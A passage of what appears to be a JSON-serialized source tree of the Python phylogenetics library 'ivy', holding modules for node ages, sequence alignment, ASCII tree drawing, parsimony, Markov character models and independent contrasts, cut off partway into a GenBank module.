MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n## General Public License for more details.\n\n## You should have received a copy of the GNU General Public License\n## along with this program. If not, see\n## <http://www.gnu.org/licenses/>.\n\nfrom . import tree, layout, contrasts, ages\nfrom . import genbank, nexus, newick, storage\n# from . import bipart\n# import nodearray, data\n# from . import treebase\n# import db\n# import contrib\ntry:\n    import ltt as _ltt\n    ltt = _ltt.ltt\nexcept ImportError:\n    pass\n\nfrom . import align, sequtil\n# from . import chars, align, sequtil\n## try: import vis\n## except RuntimeError: pass\n", "ivy/ages.py": "\"\"\"\nCalculate node ages from branch lengths.\n\nThe function of interest is `ages2lengths`\n\"\"\"\nfrom __future__ import print_function\n\ndef ages2lengths(node, node_ages, results={}):\n    \"\"\"\n    Convert node ages to branch lengths\n\n    Args:\n        node (Node): Node object\n        node_ages (dict): Dict mapping nodes to ages\n    Returns:\n        dict: mapping of nodes to lengths\n\n    \"\"\"\n    for d in node.descendants():\n        age = node_ages[d]\n        if d.parent:\n            parent_age = node_ages[d.parent]\n            results[d] = parent_age - age\n    return results\n\ndef min_ages(node, leaf_ages, results={}):\n    \"\"\"\n    Calculate minimum ages given fixed ages in leaf_ages\n\n    Args:\n        node (Node): A node object\n        leaf_ages (dict): A dict mapping leaf nodes to ages\n    Returns:\n        dict: mapping of nodes to ages\n    \"\"\"\n    v = []\n    for child in node.children:\n        if child.label and (child.label in leaf_ages):\n            age = leaf_ages[child.label]\n            v.append(age)\n            results[child] = age\n        else:\n            min_ages(child, leaf_ages, results)\n            age = results[child]\n            v.append(age)\n    results[node] = max(v)\n    return results\n\ndef smooth(node, node_ages, results={}):\n    \"\"\"\n    adjust ages of internal nodes by smoothing\n    RR: I don't actually know what this function does -CZ\n    \"\"\"\n    if node.parent:\n        parent_age = node_ages[node.parent]\n        if node.children:\n            max_child_age = max([ node_ages[child] for child in node.children ])\n            # make the new age the average of parent and max child\n            new_node_age = (parent_age + max_child_age)/2.0\n            results[node] = new_node_age\n        else:\n            results[node] = node_ages[node]\n    else:\n        results[node] = node_ages[node]\n    for child in node.children:\n        smooth(child, node_ages, results)\n    return results\n\nif __name__ == \"__main__\":\n    import newick, ascii\n\n    s = \"((((a,b),(c,d),(e,f)),g),h);\"\n    root = newick.parse(s)\n\n    leaf_ages = {\n        \"a\": 3,\n        \"b\": 2,\n        \"c\": 4,\n        \"d\": 1,\n        \"e\": 3,\n        \"f\": 0.5,\n        \"g\": 10,\n        \"h\": 5,\n        }\n\n    ma = min_ages(root, leaf_ages)\n    d = ma\n    for i in range(10):\n        d = smooth(root, d)\n    for node, val in ages2lengths(root, d).items():\n        node.length = val\n    print(ascii.render(root, scaled=1))\n", "ivy/align.py": "import os\nfrom subprocess import Popen, PIPE\nfrom Bio import AlignIO\nfrom Bio.Alphabet import IUPAC\ntry:\n    from cStringIO import StringIO\nexcept ImportError:\n    from io import StringIO\nfrom tempfile import NamedTemporaryFile\n\nMUSCLE = \"/usr/bin/muscle\"\n\ndef muscle(seqs, cmd=None):\n    if not cmd: cmd = MUSCLE\n    assert os.path.exists(cmd)\n    p = Popen([cmd], stdin=PIPE, stdout=PIPE)\n    write = p.stdin.write\n    for x in seqs:\n        write(\">%s\\n%s\\n\" % (x.id, x.seq))\n    out = p.communicate()[0]\n    aln = AlignIO.read(StringIO(out), 'fasta', alphabet=IUPAC.ambiguous_dna)\n    return aln\n\ndef musclep(seqs1, seqs2, cmd=\"/usr/bin/muscle\"):\n    assert os.path.exists(cmd)\n    f1 = NamedTemporaryFile(); f2 = NamedTemporaryFile()\n    for s, f in ((seqs1, f1), (seqs2, f2)):\n        write = f.file.write\n        for x in s: write(\">%s\\n%s\\n\" % (x.id, x.seq))\n    f1.file.flush(); f2.file.flush()\n    cmd += \" -profile -in1 %s -in2 %s\" % (f1.name, f2.name)\n    p = Popen(cmd.split(), stdout=PIPE)\n    out = p.communicate()[0]\n    aln = AlignIO.read(StringIO(out), 'fasta', alphabet=IUPAC.ambiguous_dna)\n    f1.file.close(); f2.file.close()\n    return aln\n    \ndef read(data, format=None, name=None):\n    from types import StringTypes\n    \n    def strip(s):\n        fname = os.path.split(s)[-1]\n        head, tail = os.path.splitext(fname)\n        tail = tail.lower()\n        if tail in (\".fasta\", \".nex\", \".nexus\"):\n            return head\n        else:\n            return fname\n\n    if (not format):\n        if (type(data) in StringTypes) and os.path.isfile(data):\n            s = data.lower()\n            if s.endswith(\"fasta\"):\n                format=\"fasta\"\n            for tail in \".nex\", \".nexus\":\n                if s.endswith(tail):\n                    format=\"nexus\"\n                    break\n\n    if (not format):\n        format = \"fasta\"\n\n    if type(data) in StringTypes:\n        if os.path.isfile(data):\n            name = strip(data)\n            with open(data) as f:\n                return AlignIO.read(f, format, alphabet=IUPAC.ambiguous_dna)\n        else:\n            f = StringIO(data)\n            return AlignIO.read(f, format, alphabet=IUPAC.ambiguous_dna)\n\n    elif (hasattr(data, \"tell\") and hasattr(data, \"read\")):\n        treename = strip(getattr(data, \"name\", None))\n        return AlignIO.read(data, format, alphabet=IUPAC.ambiguous_dna)\n\n    raise IOError(\"unable to read alignment from '%s'\" % data)\n\ndef write(data, f, format='fasta'):\n    AlignIO.write(data, f, format)\n    \ndef find(aln, substr):\n    \"\"\"\n    generator that yields (seqnum, pos) tuples for every position of\n    ``subseq`` in `aln`\n    \"\"\"\n    from sequtil import finditer\n    N = len(substr)\n    for i, rec in enumerate(aln):\n        for j in finditer(rec.seq, substr):\n            yield (i,j)\n            \ndef find_id(aln, regexp):\n    import re\n    return [ (i,s) for i, s in enumerate(aln) if re.search(regexp, s.id) ]\n    \ndef gapcols(aln, c='-'):\n    from numpy import array\n    a = array([ list(x.seq) for x in aln ])\n    for i, col in enumerate(a.T):\n        s = set(col==c)\n        if len(s)==1 and True in s:\n            yield i\n", "ivy/ascii.py": "from __future__ import print_function\nimport math\nfrom array import array\nfrom .layout import depth_length_preorder_traversal\n\nclass AsciiBuffer:\n    def __init__(self, width, height):\n        self.width = int(width)\n        self.height = int(height)\n        self._b = [ array('u', ' '*self.width) for line in range(self.height) ]\n\n    def putstr(self, r, c, s):\n        assert r < self.height\n        assert c+len(s) <= self.width, \"%s %s %s '%s'\" % (self.width, r, c, s)\n        c = int(c)\n        self._b[r][c:c+len(s)+1] = array('u', s)\n\n    def __str__(self):\n        return \"\\n\".join([ ''.join(b) for b in self._b ])\n\ndef sum_to_root(node, internodes=True, length=False):\n    \"\"\"\n    Number of branches from node to root.\n\n    Args:\n        node (Node): A Node object\n        RR: Do internodes and length do anything in this function? -CZ\n    Returns:\n        int: The number of branches from node to root.\n    \"\"\"\n    i = 0\n    n = node\n    while 1:\n        if not n.parent:\n            break\n        else:\n            n = n.parent\n            i += 1\n    return i\n\n## def depth_length_preorder_traversal(node):\n##     if not node.parent:\n##         node.depth = 0\n##         node.length_to_root = 0.0\n##     else:\n##         p = node.parent\n##         node.depth = p.depth + 1\n##         node.length_to_root = p.length_to_root + (node.length or 0.0)\n##     for ch in node.children:\n##         depth_length_preorder_traversal(ch)\n\ndef smooth_cpos(node, n2c):\n    for ch in node.children:\n        smooth_cpos(ch, n2c)\n\n    if node.parent and not node.isleaf:\n        px = n2c[node.parent].c\n        cx = min([ n2c[ch].c for ch in node.children ])\n        dxp = n2c[node].c - px\n        cxp = cx - n2c[node].c\n        n2c[node].c = px + (cx - px)*0.5\n\ndef scale_cpos(node, n2c, scalef, root_offset):\n    if node.parent:\n        n2c[node].c = n2c[node.parent].c + (node.length * scalef)\n    else:\n        n2c[node].c = root_offset\n\n    for ch in node.children:\n        scale_cpos(ch, n2c, scalef, root_offset)\n\ndef set_rpos(node, n2c):\n    for child in node.children:\n        set_rpos(child, n2c)\n        nc = n2c[node]\n        if node.children:\n            children = node.children\n            c0 = n2c[children[0]]\n            c1 = n2c[children[-1]]\n            rmin = c0.r; rmax = c1.r\n            nc.r = math.ceil(rmin + (rmax-rmin)/2.0)\n\ndef render(root, unitlen=3, minwidth=50, maxwidth=None, scaled=False,\n           show_internal_labels=True):\n    \"\"\"\n    Create the ascii tree to be shown with print()\n    \"\"\"\n    n2c = depth_length_preorder_traversal(root)\n    leaves = root.leaves(); nleaves = len(leaves)\n    maxdepth = max([ n2c[lf].depth for lf in leaves ])\n    max_labelwidth = max([ len(lf.label) for lf in leaves ]) + 1\n\n    root_offset = 0\n    if root.label and show_internal_labels:\n        root_offset = len(root.label)\n\n    width = maxdepth*unitlen + max_labelwidth + 2 + root_offset\n    height = 2*nleaves - 1\n\n    if width < minwidth:\n        unitlen = math.ceil((minwidth - max_labelwidth - 2 - root_offset)/maxdepth)\n        width = maxdepth*unitlen + max_labelwidth + 2 + root_offset\n\n    print(width, height)\n    buf = AsciiBuffer(width, height)\n\n    for i, lf in enumerate(leaves):\n        c = n2c[lf]\n        c.c = width - max_labelwidth - 2\n        c.r = i*2\n\n    for node in root.postiter():\n        nc = n2c[node]\n        if node.children:\n            children = node.children\n            c0 = n2c[children[0]]\n            c1 = n2c[children[-1]]\n            rmin = c0.r; rmax = c1.r\n            nc.r = math.ceil(rmin + (rmax-rmin)/2.0)\n            nc.c = min([ n2c[ch].c for ch in children ]) - unitlen\n\n\n    if not scaled:\n        smooth_cpos(root, n2c)\n    else:\n        maxlen = max([ n2c[lf].length_to_root for lf in leaves ])\n        scalef = (n2c[leaves[0]].c + 1 - root_offset)/maxlen\n        scale_cpos(root, n2c, scalef, root_offset)\n\n    for node in root.postiter():\n        nc = n2c[node]\n        if node.parent:\n            pc = n2c[node.parent]\n            for r in range(min([nc.r, pc.r]),\n                           max([nc.r, pc.r])):\n                buf.putstr(r, pc.c, \":\")\n\n            sym = getattr(nc, \"hchar\", \"-\")\n            vbar = sym*math.floor(nc.c-pc.c)\n            buf.putstr(nc.r, math.ceil(pc.c), vbar)\n\n        if node.isleaf:\n            buf.putstr(nc.r, nc.c+1, \" \"+node.label)\n        else:\n            if node.label and show_internal_labels:\n                buf.putstr(nc.r, nc.c-len(node.label), node.label)\n\n        buf.putstr(nc.r, nc.c, \"+\")\n\n    return str(buf)\n\nif __name__ == \"__main__\":\n    from . import tree\n    t = tree.read(\n        \"(foo,((bar,(dog,cat)dc)dcb,(shoe,(fly,(cow, bowwow)cowb)cbf)X)Y)Z;\"\n        )\n\n    #t = tree.read(\"(((foo:4.6):5.6, (bar:6.5, baz:2.3):3.0):3.0);\")\n    #t = tree.read(\"(foo:4.6, (bar:6.5, baz:2.3)X:3.0)Y:3.0;\")\n\n    i = 1\n    print(render(t, scaled=0, show_internal_labels=1))\n    r = t.get(\"cat\").parent\n    tree.reroot(t, r)\n    tp = t.parent\n    tp.remove_child(t)\n    c = t.children[0]\n    t.remove_child(c)\n    tp.add_child(c)\n    print(render(r, scaled=0, show_internal_labels=1))\n", "ivy/autocollapse.py": "\"\"\"\nFor drawing big trees.  Calculate which clades can be 'collapsed' and\ndisplayed with a placeholder.\n\nTODO: test and develop this module further\n\"\"\"\nfrom storage import Storage\n\ndef autocollapse_info(node, collapsed, visible=True, info={}):\n    \"\"\"\n    gather information to determine if a node should be collapsed\n\n    *collapsed* is a set containing nodes that are already collapsed\n    \"\"\"\n    if node not in info:\n        s = Storage()\n        info[node] = s\n    else:\n        s = info[node]\n        \n    if visible and (node in collapsed):\n        visible = False\n        \n    nnodes = 1 # total number of nodes, including node\n    # number of visible leaves\n    nvisible = int((visible and node.isleaf) or (node in collapsed))\n    ntips = int(node.isleaf)\n    ntips_visible = int(node.isleaf and visible)\n    s.has_labeled_descendant = False\n    s.depth = 1\n\n    for child in node.children:\n        autocollapse_info(child, collapsed, visible, info)\n        cs = info[child]\n        nnodes += cs.nnodes\n        nvisible += cs.nvisible\n        ntips += cs.ntips\n        ntips_visible += cs.ntips_visible\n        if (child.label and (not child.isleaf)) \\\n           or (cs.has_labeled_descendant):\n            s.has_labeled_descendant = True\n        if cs.depth >= s.depth:\n            s.depth = cs.depth+1\n    s.nnodes = nnodes\n    s.nvisible = nvisible\n    s.ntips = ntips\n    s.ntips_visible = ntips_visible\n    return info\n\ndef autocollapse(root, collapsed=None, keep_visible=None, max_visible=1000):\n    \"\"\"\n    traverse a tree and find nodes that should be collapsed in order\n    to satify *max_visible*\n\n    *collapsed* is a set object for storing collapsed nodes\n\n    *keep_visible* is a set object of nodes that should not be placed\n    in *collapsed*\n    \"\"\"\n    collapsed = collapsed or set()\n    keep_visible = keep_visible or set()\n    ntries = 0\n    while True:\n        if ntries > 10:\n            return\n        info = autocollapse_info(root, collapsed)\n        nvisible = info[root].nvisible\n        if nvisible <= max_visible:\n            return\n        \n        v = []\n        for node in root.iternodes():\n            s = info[node]\n            if (node.label and (not node.isleaf) and node.parent and\n                (node not in keep_visible)):\n                w = s.nvisible/float(s.depth)\n                if s.has_labeled_descendant:\n                    w *= 0.25\n                v.append((w, node, s))\n        v.sort(); v.reverse()\n        for w, node, s in v:\n            if node not in keep_visible and s.nvisible < (nvisible-1):\n                print(node)\n                collapsed.add(node)\n                nvisible -= s.nvisible\n            if nvisible <= max_visible:\n                break\n        ntries += 1\n    return collapsed\n", "ivy/bipart.py": "from collections import defaultdict\n\n## class BipartSet(object):\n##     \"A set of bipartitions\"\n##     def __init__(self, elements):\n##         self.elements = frozenset(elements)\n##         self.ref = sorted(elements)[0]\n##         self.node2bipart = Storage()\n\n##     def add(self, subset, node):\n##         # filter out elements of subset not in 'elements'\n##         subset = (frozenset(subset) & self.elements)\n##         if self.ref not in self.subset:\n##             self.subset = self.elements - self.subset\n\nclass Bipart(object):\n    \"\"\"\n    A class representing a bipartition.\n    \"\"\"\n    def __init__(self, elements, subset, node=None, support=None):\n        \"\"\"\n        'elements' and 'subset' are set objects\n        \"\"\"\n        self.subset = subset\n        self.compute(elements)\n        self.node = node\n        self.support = support\n\n    def __hash__(self):\n        return self._hash\n\n    def __eq__(self, other):\n        assert self.elements == other.elements\n        return ((self.subset == other.subset) or\n                (self.subset == (self.elements - other.subset)))\n\n    def __repr__(self):\n        v = sorted(self.subset)\n        return \"(%s)\" % \" \".join(map(str, v))\n\n    def compute(self, elements):\n        self.elements = frozenset(elements)\n        self.ref = sorted(elements)[0]\n        # filter out elements of subset not in 'elements'\n        self.subset = (frozenset(self.subset) & self.elements)\n        self._hash = hash(self.subset)\n        if self.ref not in self.subset:\n            self.subset = self.elements - self.subset\n        self.complement = self.elements - self.subset\n\n    def iscompatible(self, other):\n        ## assert self.elements == other.elements\n        if (self.subset.issubset(other.subset) or\n            other.subset.issubset(self.subset)):\n            return True\n        if (((self.subset | other.subset) == self.elements) or\n            (not (self.subset & other.subset))):\n            return True\n        return False\n\ndef conflict(bp1, bp2, support=None):\n    if ((support and (bp1.support >= support) and (bp2.support >= support))\n        or (not support)):\n        if not bp1.iscompatible(bp2):\n            return True\n    return False\n\nclass TreeSet:\n    def __init__(self, root, elements=None):\n        self.root = root\n        self.node2labels = root.leafsets(labels=True)\n        self.elements = elements or self.node2labels.pop(root)\n        self.biparts = [ Bipart(self.elements, v, node=k,\n                                support=int(k.label or 0))\n                         for k, v in self.node2labels.items() ]\n\ndef compare_trees(r1, r2, support=None):\n    e = (set([ x.label for x in r1.leaves() ]) &\n         set([ x.label for x in r2.leaves() ]))\n    bp1 = [ Bipart(e, v, node=k, support=int(k.label or 0))\n            for k, v in r1.leafsets(labels=True).items() ]\n    bp2 = [ Bipart(e, v, node=k, support=int(k.label or 0))\n            for k, v in r2.leafsets(labels=True).items() ]\n    return compare(bp1, bp2, support)\n\ndef compare(set1, set2, support=None):\n    hits1 = []; hits2 = []\n    conflicts1 = defaultdict(set); conflicts2 = defaultdict(set)\n    for bp1 in set1:\n        for bp2 in set2:\n            if bp1 == bp2:\n                hits1.append(bp1.node); hits2.append(bp2.node)\n            if conflict(bp1, bp2, support):\n                conflicts1[bp1.node].add(bp2.node)\n                conflicts2[bp2.node].add(bp1.node)\n    return hits1, hits2, conflicts1, conflicts2\n    \n## a = Bipart(\"abcdef\", \"abc\")\n## b = Bipart(\"abcdef\", \"def\")\n## c = Bipart(\"abcdef\", \"ab\")\n## d = Bipart(\"abcdef\", \"cd\")\n## print a == b\n## print a.iscompatible(b)\n## print a.iscompatible(c)\n## print a.iscompatible(d)\n## print c.iscompatible(d)\n## sys.exit()    \n", "ivy/chars/__init__.py": "from . import mk, catpars, evolve\n", "ivy/chars/catpars.py": "from __future__ import print_function\nimport numpy as np\n\ndef default_costmatrix(numstates, dtype=np.int):\n    \"a square array with zeroes along the diagonal, ones elsewhere\"\n    return np.logical_not(np.identity(numstates)).astype(float)\n\ndef minstates(v):\n    \"return the indices of v that equal the minimum\"\n    return np.nonzero(np.equal(v, min(v)))\n\ndef downpass(node, states, stepmatrix, chardata, node2dpv=None):\n    if node2dpv is None:\n        node2dpv = {}\n        \n    if not node.isleaf:\n        for child in node.children:\n            downpass(child, states, stepmatrix, chardata, node2dpv)\n\n        dpv = np.zeros([len(states)])\n        node2dpv[node] = dpv\n        for i in states:\n            for child in node.children:\n                child_dpv = node2dpv[child]\n                mincost = min([ child_dpv[j] + stepmatrix[i,j] \\\n                                for j in states ])\n                dpv[i] += mincost\n                    \n        #print node.label, node.dpv\n\n    else:\n        #print node.label, chardata[node.label]\n        node2dpv[node] = stepmatrix[:,chardata[node.label]]\n\n    return node2dpv\n        \n\ndef uppass(node, states, stepmatrix, node2dpv, node2upm={},\n           node2ancstates=None):\n    parent = node.parent\n    if not node.isleaf:\n        if parent is None: # root\n            dpv = node2dpv[node]\n            upm = None\n            node.mincost = min(dpv)\n            node2ancstates = {node: minstates(dpv)}\n            \n        else:\n            M = np.zeros(stepmatrix.shape)\n            for i in states:\n                sibs = [ c for c in parent.children if c is not node ]\n                for j in states:\n                    c = 0\n                    for sib in sibs:\n                        sibdpv = node2dpv[sib]\n                        c += min([ sibdpv[x] + stepmatrix[j,x]\n                                   for x in states ])\n                    c += stepmatrix[j,i]\n\n                    p_upm = node2upm.get(parent)\n                    if p_upm is not None:\n                        c += min(p_upm[j])\n\n                    M[i,j] += c\n                \n            node2upm[node] = M\n\n            v = node2dpv[node][:]\n            for s in states:\n                v[s] += min(M[s])\n            node2ancstates[node] = minstates(v)\n\n        for child in node.children:\n            uppass(child, states, stepmatrix, node2dpv, node2upm,\n                   node2ancstates)\n\n    return node2ancstates\n            \ndef ancstates(tree, chardata, stepmatrix):\n    states = range(len(stepmatrix))\n    return uppass(tree, states, stepmatrix,\n                  downpass(tree, states, stepmatrix, chardata))\n\ndef _bindeltran(node, stepmatrix, node2dpv, node2deltr=None, ancstate=None):\n    if node2deltr is None:\n        node2deltr = {}\n\n    dpv = node2dpv[node]\n    if ancstate is not None:\n        c, s = min([ (cost+stepmatrix[ancstate,i], i) \\\n                     for i, cost in enumerate(dpv) ])\n    else:\n        c, s = min([ (cost, i) for i, cost in enumerate(dpv) ])\n        \n    node2deltr[node] = s\n    for child in node.children:\n        _bindeltran(child, stepmatrix, node2dpv, node2deltr, s)\n\n    return node2deltr\n    \ndef binary_deltran(tree, chardata, stepmatrix):\n    states = range(len(stepmatrix))\n    node2dpv = downpass(tree, states, stepmatrix, chardata)\n    node2deltr = _bindeltran(tree, stepmatrix, node2dpv)\n    return node2deltr\n        \n\nif __name__ == \"__main__\":\n    from pprint import pprint\n    from ivy import tree\n    root = tree.read(\"(a,((b,c),(d,(e,f))));\")\n\n    nstates = 4\n    states = range(nstates)\n    cm = default_costmatrix(nstates)\n    chardata = dict(zip(\"abcdef\", map(int, \"000233\")))\n    dp = downpass(root, states, cm, chardata)\n\n    for i, node in enumerate(root):\n        if not node.label:\n            node.label = \"N%s\" % i\n        else:\n            node.label = \"%s (%s)\" % (node.label, chardata[node.label])\n\n    print(ascii.render(root))\n            \n\n##     nstates = 2\n##     leaves = tree.leaves() \n##     for leaf in leaves:\n##         leaf.anc_cost_vector = chardata[leaf.label]\n\n    pprint(\n        #ancstates(root, chardata, cm)\n        #uppass(root, states, cm, downpass(tree, states, cm, chardata))\n        dp\n        )\n\n\n", "ivy/chars/evolve.py": "#!/usr/bin/env python\n\"\"\"\nFunctions for evolving traits and trees.\n\"\"\"\nfrom __future__ import print_function\n\ndef brownian(root, sigma=1.0, init=0.0, values={}):\n    \"\"\"\n    Recursively evolve a trait by Brownian motion up from the node\n    *root*.\n\n    * *sigma*: standard deviation of the normal random variate after\n      one unit of branch length\n\n    * *init*: initial value\n\n    Returns: *values* - a dictionary mapping nodes to evolved values\n    \"\"\"\n    from scipy.stats import norm\n    values[root] = init\n    for child in root.children:\n        time = child.length\n        random_step = norm.rvs(init, scale=sigma*time)\n        brownian(child, sigma, random_step, values)\n    return values\n\ndef test_brownian():\n    \"\"\"\n    Evolve a trait up an example tree of primates:.\n\n    ((((Homo:0.21,Pongo:0.21)N1:0.28,Macaca:0.49)N2:0.13,\n    Ateles:0.62)N3:0.38,Galago:1.00)root;\n\n    Returns: (*root*, *data*) - the root node and evolved data.\n    \"\"\"\n    import newick\n    root = newick.parse(\n        \"((((Homo:0.21,Pongo:0.21)N1:0.28,Macaca:0.49)N2:0.13,\"\\\n        \"Ateles:0.62)N3:0.38,Galago:1.00)root;\"\n        )\n    print(root.ascii(scaled=True))\n    evolved = brownian(root)\n    for node in root.iternodes():\n        print(node.label, evolved[node])\n    return root, evolved\n\nif __name__ == \"__main__\":\n    test_brownian()\n", "ivy/chars/mk.py": "\"\"\"\nCategorical Markov models with k states.\n\"\"\"\nfrom __future__ import print_function\nimport numpy, scipy, random\nimport scipy.linalg\nimport scipy.optimize\nfrom math import log, exp\nrand = random.Random()\nuniform = rand.uniform; expovariate = rand.expovariate\n\nLARGE = 10e10 # large -lnL value used to bound parameter optimization\n\nclass Q:\n    def __init__(self, k=2, layout=None):\n        \"\"\"\n        Represents a square transition matrix with k states.\n        \n        'layout' is a square (k,k) array of integers that index free\n        rate parameters (values on the diagonal are ignored).  Cells\n        with value 0 will have the first rate parameter, 1 the\n        second, etc.\n        \"\"\"\n        self.k = k\n        self.range = range(k)\n        self.offdiag = array(numpy.eye(k)==0, dtype=numpy.int)\n        if layout is None:\n            layout = zeros((k,k), numpy.int)\n        self.layout = layout*self.offdiag\n\n    def fill(self, rates):\n        m = numpy.take(rates, self.layout)*self.offdiag\n        v = m.sum(1) * -1\n        for i in self.range:\n            m[i,i] = v[i]\n        return m\n\n    def default_priors(self):\n        p = 1.0/self.k\n        return [p]*self.k\n\ndef sample_weighted(weights):\n    u = uniform(0, sum(weights))\n    x = 0.0\n    for i, w in enumerate(weights):\n        x += w\n        if u < x:\n            break\n    return i\n\ndef conditionals(root, data, Q):\n    nstates = Q.shape[0]\n    states = range(nstates)\n    nodes = [ x for x in root.postiter() ]\n    nnodes = len(nodes)\n    v = zeros((nnodes,nstates))\n    n2i = {}\n    \n    for i, n in enumerate(nodes):\n        n2i[n] = i\n        if n.isleaf:\n            state = data[n.label]\n            try:\n                state = int(state)\n                v[i,state] = 1.0\n            except ValueError:\n                if state == '?' or state == '-':\n                    v[i,:] += 1/float(nstates)\n        else:\n            Pv = [ (expm(Q*child.length)*v[n2i[child]]).sum(1)\n                   for child in n.children ]\n            v[i] = numpy.multiply(*Pv)\n            # fossils\n            state = None\n            if n.label in data:\n                state = int(data[n.label])\n            elif n in data:\n                state = int(data[n])\n            if state != None:\n                for s in states:\n                    if s != state: v[i,s] = 0.0\n            \n    return dict([ (n, v[i]) for n,i in n2i.items() ])\n\ndef contrasts(root, data, Q):\n    cond = conditionals(root, data, Q)\n    d = {}\n    for n in root.postiter(lambda x:x.children):\n        nc = cond[n]; nc /= sum(nc)\n        diff = 0.0\n        for child in n.children:\n            cc = cond[child]; cc /= sum(cc)\n            diff += numpy.sum(numpy.abs(nc-cc))\n        d[n] = diff\n    return d\n\ndef lnL(root, data, Q, priors):\n    d = conditionals(root, data, Q)\n    return numpy.log(sum(d[root]*priors))\n\ndef optimize(root, data, Q, priors=None):\n    Qfill = Q.fill\n    if priors is None: priors = Q.default_priors()\n    def f(params):\n        if (params<0).any(): return LARGE\n        return -lnL(root, data, Qfill(params), priors)\n        \n    # initial parameter values\n    p = [1.0]*len(set(Q.layout.flat))\n\n    v = scipy.optimize.fmin_powell(\n        f, p, full_output=True, disp=0, callback=None\n        )\n    params, neglnL = v[:2]\n    if neglnL == LARGE:\n        raise Exception(\"ConvergenceError\")\n    return params, neglnL\n\ndef sim(root, n2p, s0, d=None):\n    if d is None:\n        d = {root:s0}\n    for n in root.children:\n        v = n2p[n][s0]\n        i = sample_weighted(v)\n        d[n] = i\n        sim(n, n2p, i, d)\n    return d\n\ndef stmap(root, states, ancstates, Q, condition_on_success):\n    \"\"\"\n    This and its dependent functions below need testing and\n    optimization.\n    \"\"\"\n    results = []\n    for n in root.descendants():\n        si = ancstates[n.parent]\n        sj = ancstates[n]\n        v = simulate_on_branch(states, si, sj, Q, n.length,\n                               condition_on_success)\n        print(n, si, sj)\n        if v:\n            results.append(v)\n        else:\n            return None\n    return results\n\ndef simulate_on_branch(states, si, sj, Q, brlen, condition_on_success):\n    point = 0.0\n    history = [(si, point)]\n    if si != sj:  # condition on one change occurring\n        lambd = -(Q[si,si])\n        U = uniform(0.0, 1.0)\n        # see appendix of Nielsen 2001, Genetics\n        t = brlen - point\n        newpoint = -(1.0/lambd) * log(1.0 - U*(1.0 - exp(-lambd * t)))\n        newstate = draw_new_state(states, Q, si)\n        history.append((newstate, newpoint))\n        si = newstate; point = newpoint\n    while 1:\n        lambd = -(Q[si,si])\n        rv = expovariate(lambd)\n        newpoint = point + rv\n\n        if newpoint <= brlen:  # state change along branch\n            newstate = draw_new_state(states, Q, si)\n            history.append((newstate, newpoint))\n            si = newstate; point = newpoint\n        else:\n            history.append((si, brlen))\n            break\n                \n    if si == sj or (not condition_on_success): # success\n        return history\n\n    return None\n        \ndef draw_new_state(states, Q, si):\n    \"\"\"\n    Given a rate matrix Q, a starting state si, and an ordered\n    sequence of states, eg (0, 1), draw a new state sj with\n    probability -(qij/qii)\n    \"\"\"\n    Qrow = Q[si]\n    qii = Qrow[si]\n    qij_probs = [ (x, -(Qrow[x]/qii)) for x in states if x != si ]\n    uni = uniform(0.0, 1.0)\n    val = 0.0\n    for sj, prob in qij_probs:\n        val += prob\n        if uni < val:\n            return sj\n    \ndef sample_ancstates(node, states, conditionals, n2p, fixed={}):\n    \"\"\"\n    Sample ancestral states from their conditional likelihoods\n    \"\"\"\n    ancstates = {}\n    for n in node.preiter():\n        if n in fixed:\n            state = fixed[n]\n        else:\n            cond = conditionals[n]\n\n            if n.parent:\n                P = n2p[n]\n                ancst = ancstates[n.parent]\n                newstate_Prow = P[ancst]\n                cond *= newstate_Prow\n\n            cond /= sum(cond)\n\n            rv = uniform(0.0, 1.0)\n            v = 0.0\n            for state, c in zip(states, cond):\n                v += c\n                if rv < v:\n                    break\n        ancstates[n] = state\n\n    return ancstates\n", "ivy/contrasts.py": "\"\"\"\nCalculate independent contrasts\n\nTODO: include utilities for transforming data, etc.\n\"\"\"\nfrom __future__ import print_function\n\ndef PIC(node, data, results={}):\n    \"\"\"\n    Phylogenetic independent contrasts.\n\n    Recursively calculate independent contrasts of a bifurcating node\n    given a dictionary of trait values.\n\n    Args:\n        node (Node): A node object\n        data (dict): Mapping of leaf names to character values\n\n    Returns:\n        dict: Mapping of internal nodes to tuples containing ancestral\n              state, its variance (error), the contrast, and the\n              contrasts's variance.\n\n    TODO: modify to accommodate polytomies.\n    \"\"\"\n    X = []; v = []\n    for child in node.children:\n        if child.children:\n            PIC(child, data, results)\n            child_results = results[child]\n            X.append(child_results[0])\n            v.append(child_results[1])\n        else:\n            X.append(data[child.label])\n            v.append(child.length)\n\n    Xi, Xj = X  # Xi - Xj is the contrast value\n    vi, vj = v\n\n    # Xk is the reconstructed state at the node\n    Xk = ((1.0/vi)*Xi + (1/vj)*Xj) / (1.0/vi + 1.0/vj)\n\n    # vk is the variance\n    vk = node.length + (vi*vj)/(vi+vj)\n\n    results[node] = (Xk, vk, Xi-Xj, vi+vj)\n\n    return results\n\nif __name__ == \"__main__\":\n    import tree\n    n = tree.read(\n        \"((((Homo:0.21,Pongo:0.21)N1:0.28,Macaca:0.49)N2:0.13,\"\\\n        \"Ateles:0.62)N3:0.38,Galago:1.00)N4:0.0;\"\n        )\n    char1 = {\n        \"Homo\": 4.09434,\n        \"Pongo\": 3.61092,\n        \"Macaca\": 2.37024,\n        \"Ateles\": 2.02815,\n        \"Galago\": -1.46968\n        }\n\n    for k, v in PIC(n, char1).items():\n        print(k.label or k.id, v)\n", "ivy/genbank.py": "import re, sys, logging\nfrom collections import defaultdict\ntry:\n    from itertools import izip_longest, ifilter\nexcept:\n    from itertools import zip_longest as izip_longest\nfrom Bio import Entrez, SeqIO\nfrom Bio.Blast import NCBIWWW, NCBIXML\nfrom . import storage\n\nemail = \"\"\n\ndef batch(iterable, size):\n    \"\"\"\n    Take an iterable and return it in chunks (sub-iterables)\n\n    Args:\n        iterable: Any iterable\n        size (int): Size of chunks\n    Yields:\n        Chunks of size `size`\n    \"\"\"\n    args = [ iter(iterable) ]*size\n    for x in izip_longest(fillvalue=None, *args):\n        yield ifilter(None, x)\n\ndef extract_gbac(s):\n    \"\"\"\n    Extract genbank accession\n\n    Args:\n        s (str): text string of genbank file\n    Returns:\n        list: Accession number(s)\n    \"\"\"\n    gbac_re = re.compile(r'[A-Z]{1,2}[0-9]{4,7}')\n    return gbac_re.findall(s, re.M)\n    # RR: This also returns various other strings that match the pattern (eg.\n    # protein ids)\n\ndef extract_gene(seq, gene):\n    \"\"\"\n    RR: Not sure what format seq should be in -CZ\n    \"\"\"\n    for t in \"exon\", \"gene\":\n        for x in seq.features:\n            if x.type == t:\n                v = x.qualifiers.get(\"gene\")\n                if v == 